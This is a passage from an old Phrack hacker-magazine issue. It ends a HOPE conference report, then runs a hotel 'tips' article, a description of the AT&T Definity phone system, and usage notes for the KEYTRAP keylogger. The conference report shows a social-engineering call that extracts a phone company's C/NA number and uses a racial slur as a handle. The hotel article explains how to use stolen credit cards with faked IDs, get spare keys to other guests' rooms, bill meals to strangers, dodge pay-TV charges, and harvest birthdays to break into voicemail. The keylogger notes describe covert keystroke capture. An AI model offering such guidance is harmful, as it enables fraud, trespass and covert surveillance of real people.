have a service, ostensibly for internal use, called a C/NA. Sort
of a reverse directory when you have the number but want to know
who the number belongs to and from whence it comes. You can
understand that this is not the sort of feature that the phone
company wants to have in the hands of a generation of kids who
are so apathetic that they don't even know they don't give a
shit. Nonetheless, the access to this capability is through an
800 number and a PIN.
Supernigger was going to show us how to acquire such privileged
information. Live. "When you get some phone company person as
dumb as a bolt on the other end, and you know a few buzz words.
you convince them that it is in their best interest and that they
are supposed to give you the information."
"I've never done this in front of an audience before, so give me
three tries," he explained to an anxiously foaming at the mouth
crowd. No one took a cheap pot shot at him: tacit acceptance of
his rules.
Ring. Ring.
"Operations. Mary."
"Mary. Hi, this is Don Brewer in social engineering over at CIS,
how's it going?" Defuse.
"Oh, fine. I guess."
"I know, I hate working Sundays. Been busy?"
"Nah, no more. Pretty calm. How can I help you?"
"I'm doing a verification and I got systems down. I just need
the C/NA. You got it handy?" Long pause.
"Sure, lemme look. Ah, it's 313.424.0900." 700 notebooks ap
peared out of nowhere, accompanied by the sound of 700 pens
writing down a now-public phone number.
"Got it. Thanks." The audience is gasping at the stunningly
stupid gullibility of Mary. But quiet was essential to the
mission.
"Here's the PIN number while we're at it." Double gasp. She's
offering the supposedly super secret and secure PIN number? Was
this event legal? Had Supernigger gone over the line?
"No, CIS just came up. Thanks anyway."
"Sure you don't need it?"
"Yeah. Thanks. Bye." Click. No need to press the issue. PIN
access might be worth a close look from the next computer DA
wanna-be.
An instant shock wave of cacophonous approval worked its way
throughout the 750 seat ballroom in less than 2 microseconds.
Supernigger had just successfully set himself as a publicly
ordained Cyber Christ of Social Engineering. His white robes
were on the way. Almost a standing ovation lasted for the better
part of a minute by everyone but the narcs in the audience. I
don't know if they were telco or Feds of whatever, but I do know
that they were the stupidest narcs in the city of New York. This
pair of dour thirty something Republicans had sphincters so tight
you could mine diamonds out of their ass.
Arms defiantly and defensively crossed, they were stupid enough
to sit in the third row center aisle. They never cracked a smile
at some of the most entertaining performances I have seen outside
of the giant sucking sound that emanates from Ross Perot's ears.
Agree or disagree with hacking and phreaking, this was funny and
unrehearsed ad lib material. Fools. So, for fun, I crawled over
the legs of the front row and sat in the aisle, a bare eight feet
from the narcs. Camera in hand I extended the 3000mm tele-photo
lens which can distinguish the color of a mosquitoes underwear
from a kilometer and pointed it in their exact direction. Their
childhood acne scars appeared the depth of the Marianna Trench.
Click, and the flash went off into their eyes, which at such a
short distance should have caused instant blindness. But noth
ing. No reaction. Nada. Cold as ice. Rather disappointing, but
now we know that almost human looking narc-bots have been per
fected and are being beta tested at hacker cons.
Emmanuel Goldstein is very funny. Maybe that's why Ed Markey and
he get along so well. His low key voice rings of a gentler,
kinder sarcasm but has a youthful charm despite that he is 30-
something himself.
"Sometimes you have to call back. Sometimes you have to call
over and over to get what you want. You have to keep in mind
that the people at the other end of the phone are generally not
as intelligent as a powered down computer." He proceeded to
prove the point.
Ring ring,
"Directory Assistance."
"Hi."
"Hi."
"Hi."
"Can I help you."
"Yes."
Pause.
"Hello?"
"Hi."
"Hi."
"Can I help you.:
"OK."
Shhhhh. Ssshhh. Quiet. Shhhh. Too damned funny for words.
"Directory Assistance."
"I need some information."
"How can I help you."
"Is this where I get numbers?"
"What number would you like?"
"Information."
"This is information."
"You said directory assistance."
"This is."
"But I need information."
"What information do you need?"
"For information."
"This is information."
"What's the number?"
"For what?"
"Information."
"This is directory assistance."
"I need the number for information."
Pause. Pause.
"What number do you want?"
"For information."
Pause. Guffaws, some stifled, some less so. Funny stuff.
"Hold on please."
Pause.
"Supervisor. May I help you?"
"Hi."
"Hi."
Pause.
"Can I help you?"
"I need the number for information."
"This is directory assistance."
"Hi."
"Hi."
"What's the number for information?"
"This is information."
"What about directory assistance?"
"This is directory assistance."
"But I need information."
"This is information."
"Oh, OK. What's the number for information?"
Pause.
"Ah 411."
"That's it?"
"No. 555.1212 works too."
"So there's two numbers for information?"
"Yes."
"Which one is better?" How this audience kept its cool was
beyond me. Me and my compatriots were beside ourselves.
Pause.
"Neither."
"Then why are there two?"
Pause.
"I don't know."
"OK. So I can use 411 or 555.1212."
"That's right."
"And which one should I use?"
Pause.
"411 is faster." Huge guffaws. Ssshhhh. Ssshhhh..
"Oh. What about the ones?"
"Ones?"
"The ones."
"Which ones?"
"The ones at the front of the number."
"Oh, those ones. You don't need ones. Just 411 or 555.1212.."
"My friends say they get to use ones." Big laugh. Shhhhhh.
"That's only for long distance."
"To where?" How does he keep a straight face?
Pause.
"If you wanted 914 information you'd use a one."
"If I wanted to go where?"
"To 914?"
"Where's that?"
"Westchester."
"Oh, Westchester. I have friends there."
Pause.
"Hello?"
"Yes?"
"So I use ones?"
"Yes. A one for the 914 area."
"How?"
Pause.
"Put a one before the number."
"Like 1914. Right?"
"1914.555.1212."
"All of those numbers?"
"Yes."
"That's three ones."
"That's the area code."
"I've heard about those. They confuse me." Rumbling chuckles
and laughs throughout the hall.
Pause.
She slowly and carefully explained what an area code is to the
howlingly irreverent amusement of the entire crowd except for the
fool narcs.
"Thanks. So I can call information and get a number?"
"That's right."
"And there's two numbers I can use?"
"Yes."
"So I got two numbers on one call?"
"Yeah . . ."
"Wow. Thanks. Have a nice day."
* * * * *
Comments heard around HOPE.
Rop Gongrijjp, Hacktic: "The local phone companies use their own
social engineers when they can't get their own people to tell
them what they need to know."
Sprint is using what they consider to be the greatest access
mechanism since the guillotine. For all of us road warriors out
there who are forever needing long distance voice service from
the Whattownisthis, USA airport, Sprint thinks they have a better
mousetrap. No more messing finger entry. No more pass-codes or
PIN's.
I remember at the Washington National Airport last summer I was
using my Cable and Wireless long distance access card and entered
the PIN and to my surprise, an automated voice came on and said,
"Sorry, you entered your PIN with the wrong finger. Please try
again."
Sprint says they've solved this thorny cumbersome problem with a
service called "The Voice Fone Card". Instead of memorizing
another 64 digit long PIN, you just speak into the phone: "Hi,
it's me. Give me dial tone or give me death." The voice recog
nition circuits masturbate for a while to determine if it's
really you or not.
Good idea. But according to Strat, not a good execution. Strat
found that someone performing a poor imitation of his voice was
enough to break through the front door with ease. Even a poor
tape recording played back over a cheap cassette speaker was
sufficient to get through Sprint's new whiz-banger ID system.
Strat laughed that Sprint officials said in defense, "We didn't
say it was secure: just convenient."
Smart. Oh, so smart.
* * * * *
"If my generation of the late 60's and early 70's had had the
same technology you guys have there never would have been an
80's." This was how I opened my portion of the author's panel.
The authors panel was meant to give HOPE hackers insight into how
they are perceived from the so-called outside. I think the
session achieved that well, and I understand the videos will be
available soon.
The question of electronic transvestites on AOL came up to every
one's enjoyment, and all of us on the panel retorted with a big,
"So what?" If you have cyber-sex with someone on the 'Net and
enjoy it, what the hell's the difference? Uncomfortable butt
shifting on chairs echoed how the largely male audience likely
feels about male-male sex regardless of distance.
"Imagine," I kinda said, "that is a few years you have a body
suit which not only can duplicate your moves exactly, but can
touch you in surprisingly private ways when your suit is connect
ed to another. In this VR world, you select the gorgeous woman
of choice to virtually occupy the other suit, and then the two of
you go for it. How do you react when you discover that like
Lola, 'I know what I am, and what I am is a man and so's Lola.'"
Muted acknowledgment that unisex may come to mean something
entirely different in the not too distant future.
"Ooh, ooh, please call on me." I don't mean to be insulting, but
purely for identification purposes, the woman behind the voice
bordered on five foot four and four hundred pounds. Her bathtub
had stretch marks.
I never called on her but that didn't stop her.
"I want to know what you think of how the democratization of the
internet is affected by the differences between the government
and the people who think that freedom of the net is the most
important thing and that government is fucked but for freedom to
be free you have to have the democracy behind you which means
that the people and the government need to, I mean, you know, and
get along but the sub culture of the hackers doesn't help the
government but hackers are doing their thing which means that the
democracy will not work , now I know that people are laughing and
giggling (which they were in waves) but I'm serious about this
and I know that I have a bad case of hypomania but the medication
is working so it's not a bad as it could be. What do you think?"
I leaned forward into the microphone and gave the only possible
answer. "I dunno. Next." The thunderous round of applause
which followed my in-depth response certainly suggested that my
answer was correct. Not politically, not technically, but anar
chistically. Flexibility counts.
* * * * *
HOPE was attended by around one thousands folks, and the Hotel
Filthadelphia still stands. (Aw shucks.)
My single biggest complaint was not that the schedules slipped by
an hour or two or three; sessions at conferences like this keep
going if the audience is into them and they are found to be
educational and productive. So an hour session can run into two
if the material and presentations fit the mood. In theory a
boring session could find itself kama kazi'd into early melt-down
if you have the monotone bean counter from hell explaining the
distributed statistical means of aggregate synthetic transverse
digitization in composite analogous integral fruminations.
(Yeah, this audience would buy off on that in a hot minute.) But
there were not any bad sessions. The single track plenary style
attracted hundred of hackers for every event. Emmanuel and
friends picked their panels and speakers well. When dealing with
sponge-like minds who want to soak up all they can learn, even in
somewhat of a party atmosphere, the response is bound to be good.
My single biggest complaint was the registration nightmare. I'd
rather go the DMV and stand in line there than get tagged by the
seemingly infinite lines at HOPE. At DefCon early registration
was encouraged and the sign up verification kept simple.
For some reason I cannot thoroughly (or even partially) fathom, a
two step procedure was chosen. Upon entering, and before the
door narcs would let anyone in, each attendee had to be assigned
a piece of red cardboard with a number on it. For the first day
you could enter the 'exhibits' and auditorium without challenge.
But by Day 2 one was expected to wait in line for the better part
of a week, have a digital picture taken on a computer tied to a
CCD camera, and then receive a legitimate HOPE photo-ID card.
What a mess. I don't have to beat them up on it too bad; they
know the whole scheme was rotten to the core.
I waited till near the end of Day 2 when the lines were gone and
the show was over. That's when I got my Photo ID card. I used
the MIB's photo ID card the rest of the time.
HOPE was a lot of fun and I was sorry to see it end, but as all
experiences, there is a certain amount of letdown. After a great
vacation, or summer camp, or a cruise, or maybe even after Wood
stock, a tear welts up. Now I didn't cry that HOPE was over, but
an intense 48 hours with hackers is definitely not your average
computer security convention that only rolls from 9AM to Happy
Hour. At a hacker conference, you snooze, you lose. You never
know what is going to happen next - so much is spontaneous and
unplanned - and it generally is highly educational, informative
and entertaining.
Computer security folks: you missed an event worth attending.
You missed some very funny entertainment. You missed some fine
young people dressed in some fine garb. You missed the chance to
meet with your perceived 'enemy'. You missed the opportunity to
get inside the heads of the generation that knows more about
keyboards than Huck Finning in suburbia. You really missed
something, and you should join Robert MIB Steele and I at the
next hacker conference.
* * * * *
If only I had known.
If only I had known that tornadoes had been dancing up and down
5th avenue I would have stayed at the Hotel Filthadelphia for
another night.
La Guardia airport was closed. Flights were up to 6 hours de
layed if not out and out canceled. Thousands of stranded travel
ers hunkered down for the night. If only I had known.
Wait, wait. Hours to wait. And then, finally, a plane ready and
willing to take off and swerve and dive between thunderbolts and
twisters and set me on my way home.
My kids were bouncing out of the car windows when my wife picked
me up at the airport somewhere in the vicinity of 1AM.
"Not too late are you dear?" Sweet Southern Sarcasm from my
Sweet Southern Wife.
"Don't blame me," I said in all seriousness. "It was the hack
ers. They caused the whole thing."
* * * * *
Notice: This article is free, and the author encourages responsi
ble widespread electronic distribution of the document in full,
not piecemeal. No fees may be charged for its use. For hard
copy print rights, please contact the author and I'll make you an
offer you can't refuse. The author retains full copyrights to
the contents and the term Cyber-Christ.
Winn is the author of "Terminal Compromise", a novel detailing
a fictionalized account of a computer war waged on the United
States. After selling well as a book-store-book, Terminal Com
promise was placed on the Global Network as the world's first
Novel-on-the-Net Shareware and has become an underground classic.
(Gopher TERMCOMP.ZIP)
His new non-fiction book, "Information Warfare: Chaos on the
Electronic Superhighway" is a compelling, non-technical analy
sis of personal privacy, economic and industrial espionage and
national security. He calls for the creation of a National
Information Policy, a Constitution in Cyberspace and an Elec
tronic Bill of Rights.
He may be reached at INTER.PACT, 11511 Pine St., Seminole,
FL. 34642. 813-393-6600, fax 813-393-6361, E-Mail:
P00506@psilink.com.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 24 of 28
****************************************************************************
The ABCs of better H O T E L Staying ...
... by SevenUp (sec@escape.com)
This ARTICLE will give you some information on how to experience
a cheaper, safer, and more comfortable stay at your next hotel visit.
Always keep in mind that the staff is taught to make your stay
as pleasant as possible and fulfil most of your wishes. So it is often
a matter of social engineering to reach your goal.
BUSINESS CENTRES
Many good hotels offer business centres. Some business centres just offer
"typing service" at high rates, others provide a PC you can use for free.
Usually it is a 286 or older, but it should give you the opportunity
to copy warez, write your latest article for Phrack or even connect your
pocket modem and login to the -> Internet.
CREDIT CARDS
If you have your own card and don't mind paying for the room - great!
Just use it when you check in - most places require you to have a credit
card or won't let you use the phone or won't even let you in.
You want to use someone else's card? Be careful! Don't use a stolen
card when you check in, or you won't have a safe sleep, fearing that they
could come and get you. You would be safer if you tell them upon check in
that you misplaces your card and don't need to make long distance calls,
and just want to pay with it in the end. This doesn't work always, but
sometimes. You also need a faked ID upon check in with the same name as
the cardholder.
But overall, using a faked Credit Card in a hotel is one of the easiest ways
to get busted.
DIALUPS
Many hotels have dialins for their reservation system. Novells are quite
popular. Some hotels also use PC based UNIXes (old System V's mostly)
that are often unprotected - no passwords on the root account or even
giving you a shell prompt when you call the dialup. Most of them are 7e1
at slow speeds. I won't say more about reservation systems here.
EATING & DANCING
Many hotels have good and relatively expensive restaurants and discos.
They just require you to sign the check with a room number and full name.
If you know of a guest that is checked in and has secured his account with
a credit card who just checked in, just use his name and room number -
this is probably the biggest lack of security in a hotel.
Also if you don't stay at the hotel but want to go to their disco at night,
pretend to be a guest to get in free and save cover charges. They usually
believe you.
FUCKING
You've read right, hotels are favorite places to make love. No matter
if you bring your IRC date here, pick up a hooker or stay alone and
watch the in-house porn movies. Since many hotels pride themselves in
having as much staff as guests, the question is how to get the cute
waitresses and maids into your bed. If anyone has experience making
them willing without much financial and physical effort, drop me a
mail and I will include it in the next list.
GET ALL
Some people love to take all movable parts from the room before checking
out. The question is what to take and what not.
The easiest things to take are soaps, shampoo, lotions and Kleenex from
the bathroom, since they will be replaced every morning without problems.
If you want a bathrobe (usually most expensive item), hide it in your
suitcase immediately after check in and then complain that there was just
one robe in your room. They will bring you a new one immediately. If you
take one when you leave the hotel, they will notice and most likely
charge you $100 in your credit card. If you want a bath towel, also don't
wait until the end of your stay, but hide it some days earlier. If anyone
should ask about it, just tell him that you left it at the pool.
Taking magazines from your room is usually no problem, but stay away
from removing the TV or blankets!
HYATT GOLD PASSPORT
If you want to check in at a Hyatt, get yourself their Gold Pass before.
It is free of charge and will get you free Orange Juice, Coffee and a
newspaper in the morning, and also a bigger room.
INTERNET
So you are at a hotel in a new city and want to get on the Internet?
There are usually 2 ways: Using a computer and a modem from your hotel room
and calling a dialup, or walking to a local university and logging in from
there.
If you bring your laptop with built-in modem, find the dialup in the
Internet Dialup list in this issue of Phrack, get an account on the host
and can make free local calls from your room, the first choice is probably
the best one.
But if you don't have your own account at a local school and want to
stay legit, it is often useful to walk to a computer lab in that school
and check out their computers. Many school around the world have PC's
in their labs which let you do a telnet throughout the world without
needing any account or password, or ID to enter the school. You can find
them in Hong Kong, New York, Munich and many other major cities; but usually
they are unknown to the public or are likely to be closed down (similar to the
vending machines, see -> SEVENUP).
JACKING OFF
See -> Fucking.
KEY
There are plenty of different types of room keys. Some hotels still use
old-fashioned standard keys, but most use programmable keys (plastic cards
with "holes" or magnetic stripes, or even the pretty modern metal keys
in key-shape, which allow programming of their magnetic fields. These
programmable keys will always be reprogrammed if a guest checks out.
On the other hand, if you go to the reception and claim that you lost
your key, they will always program a spare key for you. Sometimes they
ask you for your birthday, sometimes for your ID (just tell them you
left it in your room). This way you could easily get into someone else's
room.
LIGHT
Some hotels have quite fancy light systems. If the light won't shine,
there is often a box in the entrance where you have to enter your key
(or some paper) to activate the main power. This should help saving
energy while you are gone, but sometimes even the air condition will
turn off, so you have to fool the box with a paper or spare key.
Some systems will turn on certain lights just when you insert the key
into the door and open it. This is quite unfortunate if your roommate
sleeps while you go cruising and clubbing at night. When you return,
the light will shine bright and wake him up. The only thing that helps
is unscrewing the light bulbs.
MOVIES & TV
I bet many of you will first turn on the TV after entering the room.
Some people just stay at hotels that offer HBO in their rooms.
Before playing with the remote, read the papers above the TV carefully,
because some channels might show in-house movies that are being charged
automatically without any warning. Typical rates are US $6-9 per movie.
Of course you don't want to pay that much, nor do I.
Here are the 3 big S' of movie watching:
Spectravision, Sex movies and Social Engineering.
Spectravision is one of the most popular systems. It usually allows you
to watch 5 minutes (sometimes 2) of each movie per day free, enough for
some people to come. There are usually a bunch of BNC cables from the
wall to your Spectravision box and to your TV. One of the cables delivers
the program, the other assures billing. Use your fantasy and try replacing
the "billing cable" in the wall! Generally it can also be useful to use
a standard cable decoder (cablebox) to decode the pay channels. Just bring
one along and if you are lucky, you can watch the movies easily.
If all your technical expertise fails, there is still one way of watching
movies for free: Social Engineering. Just watch the movies of your choice
and then complain to the reception that you had trouble with the TV,
that the Spectravision box or remote control broke, or that you caught
the maid watching movies in your room. If you cry a lot, they will usually
be nice and remove the movies from your bill.
PHONE CALLS
Be careful before making any phone calls from your room. Many hotels
charge you up to $3 for 800 numbers and log all your touch tones (and
calling codez!). You can't be sure who will view the logs and abuse your
calling card. Also there are often high surcharges for long distance calls,
up to 40% on top of AT&T's operator connected charges. There are also hotels
that charge a minimum charge per call (up to $5), even if you just talked
for 10 seconds long distance. On the other side, some hotels offer free local
and 800 calls. Just make sure and read all papers in the room and contact
the reception. I also had operators telling me lower rates than the ones that
showed up on my bill, so be careful.
RACK RATE
This is the highest possible rate for a room, and the rate that is officially
displayed at the reception. You should never pay that rate. If you say you
are with a company they will give you a discount of at least 10% (corporate
rate). Some hotels even give qualified people and companies discounts of
25% - 50% on the rack rate. When you wonder if you pay too much for your
room or think you got a great rate, send me a mail, because I try to keep
a database about cheapest prices for selected hotels.
SEVENUP, Coke, Pepsi & Rootbeer:
You are staying at a five-star hotel. You are thirsty. Your room has
a minibar, but the cheapest soda is $4.95. The next supermarket or gas
station is 20 miles away. But you need a Coke. What to do now?
TRY finding the gangways where the employers work, live and eat!
About every bigger hotel has a kitchen for employees. They also have
a vending machine hidden somewhere, with sodas for just 60 cents.
When strolling through the restricted area, just walk straight, slowly
and self confident. If someone asks you what you are doing, tell them:
a) you are an undercover agent for the IRS and they should get lost.
b) you are looking for the vending machine. (telling the truth openly
with a broad smile can be more successful than you think!)
c) you are a new employee and ask her to show you around
Also notice the signs and posters in most restricted areas, telling
the personnel to be "enthusiastic, punctual, generous to the guest..."
Quote these phrases when an employer behaves nasty towards you.
UPGRADES
After first going into your room and checking it out, go back to
the reception and complain that the bed is too small, the street noise
is too loud, the view is too poor, etc. Quite often they will give you
a nicer and bigger room on their executive floor! See also -> Hyatt
Gold Passport.
VOICE MAIL
Many good hotels offer voice mail to their guests. The most popular
system is Meridian Mail. Some hotels have an own dialup for the voicemail,
but mostly the hotel just lets you access it through the main PBX operator.
If you are unlucky you have to wait 5 rings at a number before the
Voice Mail answers.
Most guests don't use Voice Mail. The few that do also keep the default
password, which is often the room number or the birthday of the guest.
One way to get the birthday is call up front desk, tell them you are
with "Mommy's Birthday Cakes Delivery" and have a cake for John Smith.
Ask them to check birthday's of all John Smith's etc. Of course there
are more ways, just use your social engineering fantasy!
WHERE TO GO?
It is pretty hard to recommend chains in general. But I had quite
good experience with Hilton, Hyatt (try getting a room on the Regency
floor), Holiday Inn (sometimes really cheap prices and good standard),
Shangri-La (best hotels in Asia) and Marriott (usually nice service).
I had less good experience with Sheraton (less discounts), Peninsula,
Regent & Four Seasons (all a bit overpriced and not so modern). But
there are always exceptions, so tell me about your experience!
I hope some of these tips might be useful for you. Stay tuned and wait
for a new issue of travel tips, next time about Airlines!
(c)opyright 1994 by the author. Publication outside of Phrack forbidden.
==Phrack Magazine==
Volume Five, Issue Forty-Six, File 25 of 28
****************************************************************************
================================
AT&T Definity System 75/85
Communications System
Description & Configuration
================================
Written By: erudite
(armitage@dhp.com)
=====
Intro
=====
Let me introduce you to the AT&T Definity System 75/85. This communications
system is a product of the merging of the AT&T System 75 and System 85
architectures. The name Definity came from the two words "definitive" and
"infinity".
Let me also tell you that there are many different communications systems
out there. (Merlins, AT&Ts) Many many many, I couldn't name them all, but
the AT&T systems are nice. I enjoy working with them, and I hope you enjoy
this text file.
This System is an advanced business communications system. A Digital
Communications Protocol (DCP) allows data communication through data
terminal equipment connected to the digital switch. This allows the
system to handle data and voice communications simultaneously.
The System can handle up to 1600 lines that supports all digital, hybrid,
and analog terminals and equipment. Up to 400 trunks, and up to 400
Automatic Call Distribution (ACD) Agents. The Data switching capacity is up
to 800 digital data endpoints, and 160 integrated and combined pooled modem
facilities.
~ 510D Personal Terminal or 515-Type Business Communications Terminal
~ 7404D Terminals
~ 7406D or 7407D Equipped with optional Data Module Base
~ Asynchronous Data Units (ADU) (DCE type device that has rs232c interface)
~ Digital Terminal Data Modules
~ 3270 Data Modules
~ Internal Data Channels
~ Trunk Data Modules (Modular)
~ Processor Data Modules (Modular)
==========
Networking
==========
The Processor Port Network (PPN) always provides the switch processing
element (SPE) and port circuits. An Expansion Port Network (EPN) is
available to increase line size of any system by allowing you to add
additional port circuits. The EPN connects to the PPN over a fiber
optic cable that may be up to 1.86 miles remotely situated. It may also
by located adjacent to the PPN.
This System may be arranged stand-alone or you can integrate it into a
private network. You can form these types of Networks:
~ Tandem Tie Trunk Network (TTTN)
~ Electronic Tandem Network (ETN)
~ Main/Satellite Configuration
~ Distributed Communications System (DCS)
~ Centralized Attendant Service (CAS)
An Integrated Services Digital Network Primary Rate Interface (ISDN-PRI)
makes it possible for the Definity System to access various private and
public network services. With ISDN-PRI the you can access these services:
~ Call by Call Service Selection
~ Private Network Services
~ Information Forwarding
~ Call Identification Display
- Connected Number Display
- Connected Party Name Display
- Calling and Called Number Record Display
- Calling and Called Party Name Display
=============
Configuration
=============
The Actual System is encased in a pair of "cabinets" which have a fiber
optic link between them. It is also common to have a stack of about three
"cabinets" of a smaller size, for different models.
Shown here is a typical multi-carrier system with a Processor Port Network
(PPN) cabinet and Expansion Port Network (EPN) cabinet.
attendant outside trunks _____ outside private line
consoles and lines / data transmission equipment or
\ \ / analog switched network
\ fiber optic | |
| connection | | __ business communication
-+---------/~\--------+--+ / terminals
| AT&T | | AT&T | |
| DEFINITY | | DEFINITY +------' ___data
---+ SYSTEM | | SYSTEM +--------<>------[audix] / terminals
/ | 75/85 | | 75/85 | modular data /
| |___________| |__________+| processor ____ |
manager | | | | +'optional host
terminal | | +-------<>----------+ | computer or call
/ +-------[]-----+, |____| management system
/ asynchronous |
single line data unit \__ data
voice terminals terminals
===================
Voice and Data
Management Features
===================
There are a lot of voice features and services, in fact, too many to list, I
will do a run down on all the interesting and useful features and services.
It has many Voice Management, Data Management, Network Services, System
Management, Hospitality Services, and Call Management Services.
call attendant can use to operate the console more efficiently
both inside system users and remote callers to edit, receive, send,
write, and forward voice messages.
system.
it to the display console.
- Attendant Conference: Allows Attendant to construct a conference call
- Terminal Conference: Allows remote user to construct a conference call
without attendant assistance.
being interrupted by any of the systems overriding features, and denies
ability to gain access to, and or superimpose tones.
is issued by the administrator to a certain extension # for indication of
a dedicated private data extension.
the system to dial anyone else, such as the attendant console.
the following trunks and more.
~ Voice Grade DS1 Tie Trunks
~ Alternative Voice/Data (AVD) DS1 Tie Trunks
~ Digital Multiplexed Interface (DMI) Tie Trunks
~ Central Office (CO) Trunks
~ ISDN-PRI Trunks
~ Remote Access Trunks
~ Wide Area Telecommunications Service (WATS) Trunks
features and functions that is used for maintenance testing. Such as access
to system tones, access to specific trunks, etc.
Note: AT&T designed the Facility Test Calls Feature for testing
purposes only, and system maintenance. When properly
administered, AT&T claims that the customer is responsible for
all security items, and secure system from unauthorized users,
and that all users should be aware of handling access codes.
AT&T claims they will take no responsibility for poor
administration.
it rings down if busy, or if it receives a dial timeout.
packet switched local area network that will link with mainframes,
workstations, personal computers, printers, terminals, storage devices,
and communication devices.
This interface allows connection of the system to an ISDN Network by means
of ISDN frame format called PRI.
branch has a Listed Directory Number (LDN).
~ Common Control Switching Arrangement (CCSA)
~ Electronic Tandem Network (ETN)
~ Enhanced Private Switched Communications Service (EPSCS)
~ Tandem Tie Trunk Network (TTTN)
~ Software Defined Network (SDN)
doesn't want to take responsibility for anything that is abused with this
feature.
would come in handy.
others calls, again, AT&T does not want to take any legal fees on misuse
on this feature.
attendant's assistance.
========
Software
========
The System comes with switched services software, administrative software,
and maintenance software. All running on a real-time operating system.
and services. This also is responsible for relaying any information to the
console display.
tasks, and configurations.
keep everything running properly.
=====================
System Administration
=====================
The "Access Code" you will encounter on these systems is a 1, 2, or 3 digit
number. The pound (#) and star (*) keys can be used as the first digit of the
code. Below you will see a typical Screen Format taken from one of my logs,
information aside you can see and get a feel of what the administration side of
the system is like. Page 1 of 4
STATION
Extension: ____
Type: _____ Lock Messages: _ COR: _ Room: _____
Port: ___________ Security Code: ____ COS: _ Jack: _____
Name: ___________ Coverage Path: ___ Cable: _____
FEATURE OPTIONS
LWC Reception? _____ Headset? _ Coverage Msg Retrieval? _
LWC Activation? _ Auto Answer? _ Data Restriction? _
Redirect Notification? _ Idle Appearance Preferences? _
PCOL/TEG Call Alerting? _
Data Module? _ Restrict Last Appearance? _
Display? _
ABBREVIATED DIALINGS
List1: _____ List2: _____ List3: _____
BUTTON ASSIGNMENTS
1: _______ 6: _______
2: _______ 7: _______
3: _______ 8: _______
4: _______ 9: _______
5: _______
==================
System Maintenance
==================
Finally the Maintenance section, where you can see where the errors are
logged, where all the alarms are sent, printed, etc.
There are 3 different types of alarms:
console or INADS)
The Error log is reported and can be viewed at The Manager Terminal,
as well as the alarm log.
==============
Basic Acronyms
==============
ADU Asynchronous Data Unit
AUDIX Audio Information Exchange
COR Class of Restriction
COS Class of Service
DCP Digital Communications Protocol
DMI Digital Multiplexed Interface
EPN Expansion Port Network
ISDN Integrated Service Digital Network
PPN Processor Post Network
PSDN Packet Switching Data Network
=====
Tones
=====
Here is most of the Tones, mostly either interesting ones or often used
tones the System. Here are the tones, the frequencies, and the moderations.
Tone Frequency Pattern
---- --------- -------
Answer Back 3 2225 Hz 3000 on
Answer Back 5 2225 Hz 5000 on
Bridging Warning 440 Hz 1750 on, 12000 off,
650 on; repeated
Busy 480 Hz + 620 Hz 500 on, 500 off; repeated
Call Waiting
Internal 440 Hz 200 on
External 440 Hz 200 on, 200 off
Attendant 440 Hz 200 on, 200 off
Priority Call 440 Hz 200 on, 200 off, 200 on,
200 off, 200 on
Call Waiting
Ring Back 440 Hz + 480 Hz; 900 on (440 + 480)
440 Hz 200 on (440) 2900 off; repeated
Cnrt Att Call
Incoming Call
Identification 480 Hz & 440 Hz 100 on (480), 100 on (440),
& 480 Hz 100 on silence;
Dial Zero,
Attendant Transfer,
Test Calls, 440 Hz 100 on, 100 off, 100 on
Coverage 440 Hz 600 on
Confirmation 350 Hz + 400 Hz 100 on, 100 off, 100 on,
100 off, 100 on
Dial 250 Hz + 400 Hz Continuous
Executive Override 440 Hz 300 on followed by
Intercept 440 Hz & 620 Hz 250 on (440),
250 on (620); repeated
Ringback 440 Hz + 480 Hz 1000 on, 3000 off; repeated
Zip 480 500 on
=====
Outro
=====
System 75/85 (multi-carrier cabinet model) communications system.
I hope you learned something, anywayz, questions comments, system login
information, defaults, where to get manuals, or anything else:
email me (armitage@dhp.com) and I will get back to you.
-----BEGIN PGP PUBLIC KEY BLOCK-----
Version: 2.3a
mQCNAi4sHnsAAAEEALjw8E+bOEr1BlCyrBp8f3Ko8yOX5P5uiP+Vor5SamJ33gbu
PBSBOc+Xww+93Pjl/R7gMC/c/FFtn+ehHsCm5u3AaIXSmx2ZVW2Xen9vXBRMZRB+
rpC2GdCiFCAdfaHwANHaeuHDmKiP4GqaQuG1M1Xzv9NqW4m70tndGYkB59slAAUT
tAdFcnVkaXRl
=Nx+g
-----END PGP PUBLIC KEY BLOCK-----
erudite (armitage@dhp.com) (armitage on irc) ==Phrack Magazine==
Volume Five, Issue Forty-Six, File 26 of 28
****************************************************************************
KEYTRAP v1.0 - Keyboard Key Logger
by Dcypher (Dcypher@aol.com)
-------------------------------------------------------------------------
THIS PROGRAM MAY NOT BE DISTRIBUTED IN ANY WAY THAT VIOLATES U.S. OR
FOREIGN LAW. THIS PROGRAM MUST NOT BE USED TO GAIN UNAUTHORIZED ACCESS
TO DATA AND IS NOT INTENDED TO HELP USERS TO VIOLATE THE LAW !
-------------------------------------------------------------------------
You may distributed UNMODIFIED copies of KEYTRAP freely, subject to the
above limitations, and provided all files are included in unmodified
form; KEYTRAP.EXE, KEYTRAP.DOC
-------------------------------------------------------------------------
The author disclaims ALL warranties relating to the program, whether
express or implied. In absolutely no event shall the author be liable
for any damage resulting from the use and/or misuse of this program.
-------------------------------------------------------------------------
WHAT IS KEYTRAP ?
~~~~~~~~~~~~~~~~~
KEYTRAP is a very effective keyboard key logger that will log
keyboard scancodes to a logfile for later conversion to ASCII
characters. Keytrap installs as a TSR, remaining in memory
until the computer is turned off.
CONVERT will convert the keyboard scancodes captured by Keytrap
to their respective keyboard (ASCII) characters.
Usage: KEYTRAP <dir\logfile> /A /B /C
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
A - Maximum size of logfile
B - Number of keys to log per session
C - Number of minutes between each session
Keytrap is a command line program.
<dir\logfile> - You MUST specify a directory for the logfile.
If you don't specify a directory Keytrap will only look in the
current directory for the logfile. If the logfile is not found
in the current directory no writing will occur. Keytrap will
append the scancode data to the end of the file you specify.
A - The Maximum size of the logfile. This number is checked only
when Keytrap is installed. If the size of the logfile exceeds this
number, Keytrap will delete the logfile and create a new one.
B - This is the number of keys to log per session. Keytrap will
only check this number AFTER a write to the logfile. So if you
specify 50 keys, and Keytrap does not get a chance to write till
there are 100 keys in the buffer, then Keytrap will log 100 keys.
C - This is the number of minutes between each session. When Keytrap
reaches or exceeds the number of keys to log per session, it will
start a delay routine and check this number. You can't specify more
then 1440 minutes, the number of minutes in a day !
Example: KEYTRAP c:\logfile /20000 /200 /20
Keytrap will check "logfile" to see if it exceeds 20,000
bytes. If it does, Keytrap will delete the log file and then
create a new one. Keytrap will then install as a TSR program.
